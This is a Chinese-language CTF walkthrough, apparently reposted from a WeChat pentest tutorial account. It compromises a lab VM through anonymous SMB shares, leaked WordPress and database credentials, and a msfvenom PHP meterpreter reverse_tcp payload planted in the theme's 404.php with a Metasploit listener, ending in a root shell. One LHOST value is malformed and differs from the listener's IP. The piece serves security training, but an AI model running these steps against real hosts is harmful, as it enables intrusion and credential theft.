欢迎回来,我的新手黑客
今天给大家带来的是关于CTF方面的SMB服务信息泄露,这个内容其实也并不新鲜,但是我还是选择用文字把它记录下来,作为入门的参考资料
环境搭建:下载对应的镜像,使Kali和靶机处于同一个网段,即可以ping通
镜像下载地址:
进入我们的正文
Step1:接触一个陌生的网络环境,首先肯定是摸清大致的网络环境,还是一样的套路,使用nmap进行内网扫描
nmap -Pn -T4 192.168.83.0/24
从扫描结果中确定我们的目标是192.168.83.128,开放的端口有22,80,139,445,3306,6667,开放的服务还挺多的,这些端口里面有139,445比较陌生,所以我们还需要一些更详细的信息以便找到突破口
接下来更加详细的探测该主机上面的服务
nmap -sV -T4 192.168.83.128
我们看到139和445端口都是属于samba服务,这个时候问题就来了,什么是samba服务呢?
引用维基百科的说法:服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统(Common Internet File System,缩写为CIFS),一种应用层网络协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行通信和通讯等资源。它也提供经认证的行程间通信机能
上面解释的是SMB服务,那么什么是samba服务呢?
同样引用维基百科的说法:samba是种用来让UNIX系列的操作系统与微软操作系统的SMB/CIFS网络协议做链接的自由软件
简而言之,SMB服务运行在微软主机上面,samba服务运行在UNIX系列的操作系统上面,此软件在Windows与UNIX系列操作系统之间搭起一座桥梁,让两者的资源可互通有无
Step2:大致了解了服务之后,我们针对SMB服务进行弱点分析,主要有两种方法
使用空口令,弱口令进行登录,查看敏感信息
使用工具搜索对应版本的漏洞信息,例如上一篇发布的FTP服务后门
接下来,先来看一下该服务共享的文件夹
smbclient -L 192.168.83.128
在终端输入命令回车之后,提示输入密码,这个时候根本不知道什么密码啊,我们尝试使用空密码,直接回车,竟然回显了一些东西
根据上述图片信息,我们可以得知:该主机共享了三个文件夹,其中的IPC$为空连接,主机类似开启了Web server
接下来我们逐一探测三个文件夹
smbclient '\192.168.83.128print$'
提示输入密码的时候依然直接回车,我们发现没有权限,拒绝连接,换一个探测试试
smbclient '\192.168.83.128share$'
回车之后,很幸运,我们进入到了共享文件夹中,根据提示,我们输入help查看可以使用的命令
接下来查看一下该文件夹中的文件
我们注意到有几个txt文件,还有一个wp文件夹,我们先查看这些txt文件,看是否会发现什么,先下载到本地,再查看
get deets.txt
有了一个重大的收获,看到了一个Password先记住估计后面会用到
一次下载并查看其他的txt文件,并没有什么其他的收获
看完了几个txt文件之后,我们来看一下wordpress文件夹里面有什么?为什么会注意到这个文件夹呢?是因为看到这个文件夹就联想到了wordpress,简而言之是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统
cd wp
ls
我们看到有一个wp-config.php的文件,里面有一些配置信息,先下载下来看看
查看该文件,我们看到了数据库的账号和密码
Step3:接下来我们尝试登陆数据库
mysql -h 192.168.83.128 -u Admin -p
输入密码后,显示无法登录
换一种思路,这个账号密码有没有可能是SSH的账号密码
提示输入密码,第一次输入数据库密码,很遗憾无法登录,这时候想起来刚才有一个文件的的Password,输入试试,很遗憾,还是无法登录
这个时候想起来wordpress,会不会是网站后台的管理员账号密码,赶快试一下
使用浏览器访问,不对啊,不是wordpress的样式,难道是路径不对?
那就先对网站进行扫描看看会不会有新的发现
dirb http://192.168.83.128/
从扫描的输出中我们注意到了这个路径,使用浏览器打开验证是不是管理员后台登陆页面
确实为网站的管理员登陆页面,使用账号密码登陆试看看
成功登陆后台,那这个时候我们需要尝试获取root权限,对于这种站点怎么拿shell呢?
上传插件,并运行
修改404页面,并运行
就拿第二种方法举例子,这个时候我们需要怎么修改404页面呢?大致的思路是,生成返回TCP连接的PHP代码即有效载荷也叫Payload,将其嵌入到404页面中,当用户访问这个页面时,代码运行,返回TCP连接
说到Payload自然就想起了msfvenom这个功能程序
msfvenom -p php/meterpreter/reverse_tcp LHOST=192168.43.134 LPORT=4444 -f raw
其中-p参数指定负载类型,因为是生成PHP代码,所以负载指定为php/meterpreter/reverse_tcp;LHOST指定返回TCP时需要连接的IP地址,即攻击机本身的IP地址,LPORT指定返回TCP连接时连接的端口
接下来我们复制生成的有效载荷,从Payload size下一行开始复制,注意不要复制/*
点击左侧的Appearance->Editor
点击完选择右侧的主题,并点击404.php页面进行编辑
编辑完成并点击更新文件
做到这一步前期的工作都已经完成
Step4:这个时候我们只需要开启监听器,监听是否有人连接,我们使用msfconsole,设置相关参数,并开启监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.83.134
set LPORT 4444
exploit
没有报错,说明正常开启监听,这个时候我们访问相对应的404页面,实现有效载荷的运行,帮助我们获取TCP连接
使用浏览器访问页面,敲下回车的同时,我们发现已经获得了TCP连接
这个时候我们进入主机的shell,查看当前用户信息
首先我们还是先优化终端,让它看起来好看一下
python -c "import pty;pty.spawn('/bin/sh')"
接下来查看该主机上面的其他用户,切换到/home目录
发现有一个名为togie的用户,我们尝试以该用户的身份登录,第一次尝试前面数据库配置文件中出现的密码,发现不能正常登录,这个时候尝试一下前面txt文件中出现的密码,发现可以正常登录
查看当前可以执行的操作
尝试提权
成功提权,获取root权限,查看flag
做到这一步我们找到了flag
如果你支持我的文章,帮我点一下右下角的“在看”,谢谢你啦
原文始发于微信公众号(Kali渗透测试教程):CTF入门之SMB服务信息泄露,渗透主机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论